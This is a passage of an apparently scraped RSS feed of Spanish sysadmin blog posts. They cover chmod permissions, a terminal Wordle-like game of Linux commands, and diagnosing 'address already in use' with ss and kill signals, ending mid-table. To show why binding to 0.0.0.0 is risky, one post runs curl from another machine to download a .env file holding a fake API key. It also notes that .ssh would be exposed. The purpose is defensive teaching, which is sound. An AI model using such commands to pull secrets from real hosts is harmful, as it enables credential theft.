&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;find /var/www/app &lt;span class="nt"&gt;-type&lt;/span&gt; f &lt;span class="nt"&gt;-perm&lt;/span&gt; 0777      &lt;span class="c"&gt;# ver primero&lt;/span&gt;
&lt;span class="nv"&gt;$ &lt;/span&gt;find /var/www/app &lt;span class="nt"&gt;-type&lt;/span&gt; d &lt;span class="nt"&gt;-exec&lt;/span&gt; &lt;span class="nb"&gt;chmod &lt;/span&gt;750 &lt;span class="o"&gt;{}&lt;/span&gt; +
&lt;span class="nv"&gt;$ &lt;/span&gt;find /var/www/app &lt;span class="nt"&gt;-type&lt;/span&gt; f &lt;span class="nt"&gt;-exec&lt;/span&gt; &lt;span class="nb"&gt;chmod &lt;/span&gt;640 &lt;span class="o"&gt;{}&lt;/span&gt; +
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Directorios y archivos por separado, porque necesitan cosas distintas: los directorios llevan la &lt;code&gt;x&lt;/code&gt; para poder atravesarse, los archivos no.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Si el &lt;code&gt;777&lt;/code&gt; estuvo puesto un tiempo en una máquina con cara a internet&lt;/em&gt;, cambiar el permiso no cierra el tema. Lo que haya escrito alguien en ese rato sigue ahí.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  El criterio
&lt;/h2&gt;

&lt;p&gt;Antes de tocar un permiso, respondé tres preguntas: quién es el dueño, qué grupo necesita entrar y qué pasa si entra alguien más.&lt;/p&gt;

&lt;p&gt;Si &lt;code&gt;777&lt;/code&gt; te sacó un 403, el problema sigue ahí: corré &lt;code&gt;namei -l&lt;/code&gt; sobre la ruta y fijate en qué directorio se corta.&lt;/p&gt;




&lt;p&gt;Practicalo en el lab: &lt;a href="https://securitylabs.valentorassa.com/labs/ciberseguridad/por-que-chmod-777/" rel="noopener noreferrer"&gt;Por qué chmod 777 es un problema, no una solución&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Lo publiqué primero en &lt;a href="https://vtsecurity.com.ar/articulo/permisos-chmod-777?ref=devto" rel="noopener noreferrer"&gt;vtsecurity.com.ar&lt;/a&gt;, donde la figura es interactiva.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>linux</category>
      <category>security</category>
      <category>sysadmin</category>
      <category>espanol</category>
    </item>
    <item>
      <title>comandle: un Wordle de comandos de Linux que se juega en la terminal</title>
      <dc:creator>Valen Torassa</dc:creator>
      <pubDate>Thu, 29 Oct 2026 18:00:02 +0000</pubDate>
      <link>https://dev.to/vtsecurity/comandle-un-wordle-de-comandos-de-linux-que-se-juega-en-la-terminal-50m3</link>
      <guid>https://dev.to/vtsecurity/comandle-un-wordle-de-comandos-de-linux-que-se-juega-en-la-terminal-50m3</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Cada día, un comando de Linux o de seguridad para adivinar en seis intentos, en la terminal o en el navegador. Cómo se juega, cómo elige el comando del día sin un servidor y qué cuenta la web.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Cada día hay un comando de Linux o de seguridad para adivinar en seis intentos. Escribís uno con la misma cantidad de letras y cada letra queda verde si está en su lugar, amarilla si está en otra posición y gris si no está. Cuando termina la ronda, ganes o pierdas, aparece la ficha del comando: qué hace, tres ejemplos y una nota de seguridad.&lt;/p&gt;

&lt;p&gt;Se llama &lt;strong&gt;comandle&lt;/strong&gt; y lo armé para practicar comandos un rato por día. Se juega en el navegador, en &lt;a href="https://comandle.valentorassa.com/?ref=devto" rel="noopener noreferrer"&gt;comandle.valentorassa.com&lt;/a&gt;, o en la terminal:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;go &lt;span class="nb"&gt;install &lt;/span&gt;github.com/legiosai/comandle@latest
comandle
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Es gratis, no pide cuenta y el comando del día es el mismo en los dos lados. El #1 salió el 20 de octubre.&lt;/p&gt;

&lt;h2&gt;
  
  
  Cómo se juega
&lt;/h2&gt;

&lt;p&gt;La categoría se ve desde el primer intento: archivos, texto, procesos, redes, permisos, sistema, seguridad, paquetes, git o contenedores. Hay 75 comandos cargados, de 4 a 8 letras, en tres niveles: básico, intermedio y avanzado.&lt;/p&gt;

&lt;p&gt;Si le errás, el juego destapa pistas: la primera con dos intentos fallidos, la segunda con cuatro y la última con cinco. Solo valen nombres de comandos reales, de una lista de 651, así que no se puede tantear con letras sueltas. En la terminal, &lt;code&gt;?&lt;/code&gt; muestra los válidos con esa cantidad de letras; en la web están en la lista de comandos, y &lt;code&gt;tab&lt;/code&gt; completa.&lt;/p&gt;

&lt;p&gt;Al terminar copiás el resultado, que muestra cómo te fue sin decir cuál era. Esta es una ronda del #1:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;comandle #1 3/6
🟨⬛⬛🟨
🟩⬛⬛🟩
🟩🟩🟩🟩
comandle.valentorassa.com
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;En la web, un personaje ASCII comenta la partida al estilo de &lt;code&gt;cowsay&lt;/code&gt;: cambia los ojos cuando vas mal, festeja con &lt;code&gt;exit 0&lt;/code&gt; y se muere con un &lt;code&gt;segmentation fault&lt;/code&gt;. Por defecto es vt, el pingüino, y se puede cambiar por la vaca, un conejo, un gato, un búho, un cangrejo o un fantasma.&lt;/p&gt;

&lt;h2&gt;
  
  
  La ficha del final
&lt;/h2&gt;

&lt;p&gt;Ese #1 era &lt;code&gt;grep&lt;/code&gt;. Cuando la ronda termina, la ficha dice qué hace, cuándo lo usás y trae tres ejemplos para copiar:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; &lt;span class="s2"&gt;"TODO"&lt;/span&gt; ~/proyecto                    &lt;span class="c"&gt;# archivo y número de línea de cada TODO&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s2"&gt;"error"&lt;/span&gt; app.log                       &lt;span class="c"&gt;# sin importar mayúsculas&lt;/span&gt;
&lt;span class="nb"&gt;sudo grep&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; &lt;span class="s2"&gt;"Failed password"&lt;/span&gt; /var/log/auth.log   &lt;span class="c"&gt;# intentos fallidos de login por SSH&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Y una nota de seguridad. La de &lt;code&gt;grep&lt;/code&gt; avisa que sirve para auditar, buscando contraseñas en texto plano o IPs raras en un log, y que si no encuentra nada solo sabés que nada coincide con tu patrón.&lt;/p&gt;

&lt;p&gt;Dieciséis de las fichas suman un laboratorio en &lt;a href="https://securitylabs.valentorassa.com/?ref=devto" rel="noopener noreferrer"&gt;securitylabs.valentorassa.com&lt;/a&gt; para practicar el comando con un caso armado.&lt;/p&gt;

&lt;p&gt;Desde la terminal, la ficha de cualquier comando de la lista se pide sin jugar, y hay rondas de práctica que no suman a tus estadísticas:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;comandle explicar &lt;span class="nb"&gt;chmod&lt;/span&gt;   &lt;span class="c"&gt;# la ficha de un comando&lt;/span&gt;
comandle practica         &lt;span class="c"&gt;# una ronda al azar&lt;/span&gt;
comandle practica find    &lt;span class="c"&gt;# practicar uno puntual, por ejemplo en una clase&lt;/span&gt;
comandle lista            &lt;span class="c"&gt;# los comandos de los días que ya pasaron&lt;/span&gt;
comandle stats            &lt;span class="c"&gt;# tus estadísticas y tu racha&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  El mismo comando sin un servidor
&lt;/h2&gt;

&lt;p&gt;La versión de terminal está escrita en Go y la web es HTML y JavaScript estático. Las dos leen el mismo &lt;code&gt;commands.json&lt;/code&gt; y eligen el comando del día con la misma regla, que en la web es esta:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="k"&gt;export&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nf"&gt;daily&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;commands&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="k"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="nx"&gt;commands&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;commands&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
  &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;commands&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nf"&gt;fnv1a32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;`comandle-&lt;/span&gt;&lt;span class="p"&gt;${&lt;/span&gt;&lt;span class="nx"&gt;n&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;`&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="nx"&gt;commands&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;El orden del archivo es el calendario: el día &lt;code&gt;n&lt;/code&gt; juega la entrada &lt;code&gt;n&lt;/code&gt;. Con 75 comandos eso alcanza hasta el 2 de enero de 2027, y si para entonces no se sumaron más, los días siguen en un orden pseudoaleatorio fijo, con FNV-1a de 32 bits, el mismo hash que &lt;code&gt;hash/fnv&lt;/code&gt; en Go. El número del día sale de la fecha en Argentina (UTC−3, sin horario de verano), así que el comando cambia a medianoche y nadie tiene que publicarlo. Un test fija que Go y JavaScript den lo mismo.&lt;/p&gt;

&lt;p&gt;Como la respuesta viaja con el juego, cualquiera que abra el código puede ver la del día. No hay un servidor que la guarde.&lt;/p&gt;

&lt;h2&gt;
  
  
  Qué cuenta la web
&lt;/h2&gt;

&lt;p&gt;La versión de terminal no se conecta a internet. Tus estadísticas quedan en un archivo que solo puede leer tu usuario.&lt;/p&gt;

&lt;p&gt;La web no usa cookies ni guarda nada que te identifique. Cuando empezás una partida, la terminás o copiás el resultado, suma 1 a un contador del día:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;al terminar, en cuántos intentos o si perdiste;&lt;/li&gt;
&lt;li&gt;cuántos días seguidos jugaste, calculado en tu navegador con el historial que ya guarda y mandado en tramos (1, 2–3, 4–7, 8–14, 15+);&lt;/li&gt;
&lt;li&gt;al entrar, el &lt;code&gt;ref&lt;/code&gt; del link y el sitio que te mandó.
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ENDPOINT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;method&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;POST&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;body&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nx"&gt;JSON&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stringify&lt;/span&gt;&lt;span class="p"&gt;({&lt;/span&gt; &lt;span class="nx"&gt;event&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;key&lt;/span&gt; &lt;span class="p"&gt;}),&lt;/span&gt;
  &lt;span class="na"&gt;mode&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;cors&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;credentials&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;omit&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;keepalive&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Después de leer el &lt;code&gt;?ref=&lt;/code&gt;, la web lo saca de la barra, así el link que copiás queda limpio. Si tu navegador tiene activado Global Privacy Control, no manda nada.&lt;/p&gt;

&lt;p&gt;Con eso veo cuántas partidas hay, qué comandos cuestan más y de dónde llega la gente. Cualquiera puede mandarle eventos, así que lo leo como tendencia.&lt;/p&gt;

&lt;h2&gt;
  
  
  Sumá un comando
&lt;/h2&gt;

&lt;p&gt;Cada comando es una entrada de &lt;code&gt;data/commands.json&lt;/code&gt;, con categoría, nivel, tres pistas, resumen, explicación, tres ejemplos, la nota de seguridad y, si hay, el laboratorio:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"id"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"chmod"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"category"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"permisos"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"level"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"básico"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"clues"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s2"&gt;"Decide quién puede leer, escribir o ejecutar un archivo."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s2"&gt;"Acepta modos en octal, como 755 o 600."&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="s2"&gt;"Su nombre viene de «change mode»."&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"summary"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Cambia los permisos de archivos y directorios."&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Como el orden es el calendario, los nuevos van siempre al final: mover una entrada cambiaría el comando de un día que ya pasó. Al cargar, el juego revisa todas las entradas y te muestra todos los problemas juntos, para que corrijas la tuya de una vez. Los pasos están en &lt;a href="https://github.com/legiosai/comandle/blob/main/CONTRIBUTING.md" rel="noopener noreferrer"&gt;CONTRIBUTING.md&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;El código está en &lt;a href="https://github.com/legiosai/comandle" rel="noopener noreferrer"&gt;github.com/legiosai/comandle&lt;/a&gt;, con licencia Apache-2.0. Lo hice desde VT Security y lo publica Legios.&lt;/p&gt;




&lt;p&gt;El de hoy ya está en &lt;a href="https://comandle.valentorassa.com/?ref=devto" rel="noopener noreferrer"&gt;comandle.valentorassa.com&lt;/a&gt;. Si lo jugás, contame en cuántos lo sacaste: en el Discord de DedSec hay un canal #comandle donde todas las mañanas a las 9 sale el del día.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Lo publiqué primero en &lt;a href="https://vtsecurity.com.ar/articulo/comandle-wordle-de-comandos-linux?ref=devto" rel="noopener noreferrer"&gt;vtsecurity.com.ar&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>linux</category>
      <category>go</category>
      <category>opensource</category>
      <category>espanol</category>
    </item>
    <item>
      <title>Address already in use: quién tiene el puerto y por qué kill -9 va al final</title>
      <dc:creator>Valen Torassa</dc:creator>
      <pubDate>Tue, 27 Oct 2026 18:00:02 +0000</pubDate>
      <link>https://dev.to/vtsecurity/address-already-in-use-quien-tiene-el-puerto-y-por-que-kill-9-va-al-final-2e5k</link>
      <guid>https://dev.to/vtsecurity/address-already-in-use-quien-tiene-el-puerto-y-por-que-kill-9-va-al-final-2e5k</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Cómo encontrar el proceso con &lt;code&gt;ss&lt;/code&gt;, ver quién lo levantó y cortarlo sin &lt;code&gt;kill -9&lt;/code&gt;. Y qué significa que esté escuchando en &lt;code&gt;0.0.0.0&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Pasa así: levantás tu app, la terminal te devuelve &lt;code&gt;EADDRINUSE&lt;/code&gt; y no arranca. Buscás el error y la primera respuesta dice &lt;code&gt;kill -9 $(lsof -t -i:3000)&lt;/code&gt;. Lo corrés y anda.&lt;/p&gt;

&lt;p&gt;Casi siempre. A veces el puerto vuelve a estar ocupado un segundo después. Otras, lo que mataste era la base de otro proyecto que tenías abierto. Y en el camino se pasa por alto algo que importa más que el error: ese proceso que no sabías que seguía corriendo también podía estar atendiendo a otras máquinas.&lt;/p&gt;

&lt;h2&gt;
  
  
  Quién tiene el puerto
&lt;/h2&gt;

&lt;p&gt;El error solo dice el puerto. Para saber quién lo tiene está &lt;code&gt;ss&lt;/code&gt;, que viene en cualquier distro actual:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;node &lt;span class="nt"&gt;-e&lt;/span&gt; &lt;span class="s2"&gt;"require('http').createServer().listen(3000)"&lt;/span&gt;
Error: listen EADDRINUSE: address already &lt;span class="k"&gt;in &lt;/span&gt;use :::3000
&lt;span class="nv"&gt;$ &lt;/span&gt;ss &lt;span class="nt"&gt;-ltnp&lt;/span&gt; &lt;span class="s1"&gt;'sport = :3000'&lt;/span&gt;
State  Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
LISTEN 0      5            0.0.0.0:3000      0.0.0.0:&lt;span class="k"&gt;*&lt;/span&gt;    &lt;span class="nb"&gt;users&lt;/span&gt;:&lt;span class="o"&gt;((&lt;/span&gt;&lt;span class="s2"&gt;"python3"&lt;/span&gt;,pid&lt;span class="o"&gt;=&lt;/span&gt;3365731,fd&lt;span class="o"&gt;=&lt;/span&gt;3&lt;span class="o"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;-l&lt;/code&gt; muestra lo que está escuchando, &lt;code&gt;-t&lt;/code&gt; TCP, &lt;code&gt;-n&lt;/code&gt; números en vez de nombres y &lt;code&gt;-p&lt;/code&gt; el proceso. La última columna es la respuesta: un &lt;code&gt;python3&lt;/code&gt; con PID 3365731. Si esa columna sale vacía, el proceso es de otro usuario y con &lt;code&gt;sudo&lt;/code&gt; adelante aparece.&lt;/p&gt;

&lt;p&gt;Con el PID, &lt;code&gt;ps&lt;/code&gt; te dice qué es y hace cuánto corre:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;ps &lt;span class="nt"&gt;-o&lt;/span&gt; pid,ppid,user,etime,cmd &lt;span class="nt"&gt;-p&lt;/span&gt; 3365731
    PID    PPID USER         ELAPSED CMD
3365731 3365724 valen          00:01 python3 &lt;span class="nt"&gt;-m&lt;/span&gt; http.server 3000
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Acá dice un segundo porque lo levanté para el ejemplo; uno olvidado suele decir días. &lt;code&gt;python3 -m http.server&lt;/code&gt; es un clásico: lo usaste para pasar un archivo y quedó corriendo en otra terminal, sirviendo la carpeta entera donde lo levantaste, archivos ocultos incluidos.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;En macOS &lt;code&gt;ss&lt;/code&gt; no existe.&lt;/em&gt; &lt;code&gt;lsof -i :3000&lt;/code&gt; te da lo mismo, y en Linux también anda.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Qué quiere decir &lt;code&gt;0.0.0.0&lt;/code&gt;
&lt;/h2&gt;

&lt;p&gt;Volvé a la columna &lt;code&gt;Local Address&lt;/code&gt;. &lt;code&gt;0.0.0.0:3000&lt;/code&gt; quiere decir que el proceso acepta conexiones por cualquier interfaz de la máquina: le puede hablar cualquiera que esté en tu red.&lt;/p&gt;

&lt;p&gt;En el &lt;a href="https://vtsecurity.com.ar/articulo/address-already-in-use?ref=devto#que-quiere-decir-0000" rel="noopener noreferrer"&gt;artículo original&lt;/a&gt; esto es una figura donde mandás pedidos y cambiás la dirección mientras llegan. Con &lt;code&gt;0.0.0.0&lt;/code&gt;, cualquiera en tu red llega al puerto y se baja el &lt;code&gt;.env&lt;/code&gt;. Con &lt;code&gt;127.0.0.1&lt;/code&gt;, solo tu navegador:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;tu máquina: python3 -m http.server sirve .env y app.js

escucha en 0.0.0.0:3000
  tu navegador             recibe la respuesta
  otra máquina de tu red   se lleva el .env (OPENAI_API_KEY=sk-…)
  internet                 lo corta el router

escucha en 127.0.0.1:3000
  tu navegador             recibe la respuesta
  otra máquina de tu red   conexión rechazada
  internet                 lo corta el router
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;em&gt;Red de ejemplo. El router corta lo que entra de internet mientras nadie le abra el puerto.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Lo probé con ese mismo servidor, levantado en una carpeta de prueba con un &lt;code&gt;.env&lt;/code&gt;. Desde otra máquina de la red:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;$ &lt;/span&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; http://&amp;lt;ip&amp;gt;:3000/.env
&lt;span class="nv"&gt;OPENAI_API_KEY&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;sk-proj-demo-no-es-real
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;La key es de mentira y &lt;code&gt;&amp;lt;ip&amp;gt;&lt;/code&gt; reemplaza la de mi máquina. Levantado con &lt;code&gt;--bind 127.0.0.1&lt;/code&gt;, el mismo curl devuelve &lt;code&gt;Couldn't connect to server&lt;/code&gt;. Y si lo corrés en tu home, la carpeta que se sirve incluye &lt;code&gt;.ssh&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;El error de Node de más arriba también lo dice: &lt;code&gt;:::3000&lt;/code&gt;. Si no le pasás una dirección, &lt;code&gt;listen(3000)&lt;/code&gt; escucha en &lt;code&gt;::&lt;/code&gt;, que son todas.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Un firewall o el router pueden cortar la conexión antes.&lt;/em&gt; En una red que no es tuya, no contaría con eso.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  &lt;code&gt;kill&lt;/code&gt; manda una señal
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;kill&lt;/code&gt; no mata: le manda una señal al proceso. Si no le decís cuál, manda &lt;code&gt;TERM&lt;/code&gt;, que le pide terminar y lo deja cerrar lo que tiene abierto. &lt;code&gt;kill -9&lt;/code&gt; manda &lt;code&gt;KILL&lt;/code&gt;, que el programa no puede atender: el kernel lo saca en el acto.&lt;/p&gt;

&lt;p&gt;En el &lt;a href="https://vtsecurity.com.ar/articulo/address-already-in-use?ref=devto#kill-manda-una-senal" rel="noopener noreferrer"&gt;artículo original&lt;/a&gt; hay una figura con un programa que atiende pedidos y cada tanto guarda en el disco. Le mandás una señal, lo levantás de nuevo y probás la otra. Esto es lo que pasa con cada una:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# app (PID 4321) atiende pedidos, cada tanto guarda en datos.db y tiene su lock en app.pid&lt;/span&gt;

&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;kill &lt;/span&gt;4321       &lt;span class="c"&gt;# TERM&lt;/span&gt;
&lt;span class="c"&gt;# deja de aceptar pedidos nuevos y termina los que tenía&lt;/span&gt;
&lt;span class="c"&gt;# guarda todo en datos.db y borra app.pid&lt;/span&gt;
&lt;span class="c"&gt;# lo que llega después rebota: no hay nadie escuchando&lt;/span&gt;

&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;kill&lt;/span&gt; &lt;span class="nt"&gt;-9&lt;/span&gt; 4321    &lt;span class="c"&gt;# KILL&lt;/span&gt;
&lt;span class="c"&gt;# el kernel lo saca en el acto&lt;/span&gt;
&lt;span class="c"&gt;# el pedido a medio atender se corta y los cambios que tenía en memoria se pierden&lt;/span&gt;
&lt;span class="c"&gt;# app.pid queda, y sigue diciendo que ya está corriendo (PID 4321)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;em&gt;Programa de ejemplo. No todos dejan un lock, pero cualquiera pierde lo que no alcanzó a escribir.&lt;/em&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Señal&lt;/th&gt;
&lt;th&gt;Número&lt;/th&gt;
&lt;th&gt;Qué pide&lt;/th&gt;
&lt;th&gt;¿La puede atender el proceso?&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;HUP&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Varios servicios la usan para releer la configuración&lt;/td&gt;
&lt;td&gt;Sí&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;INT&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Es lo que manda Ctrl+C&lt;/td&gt;
&lt;td&gt;Sí&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
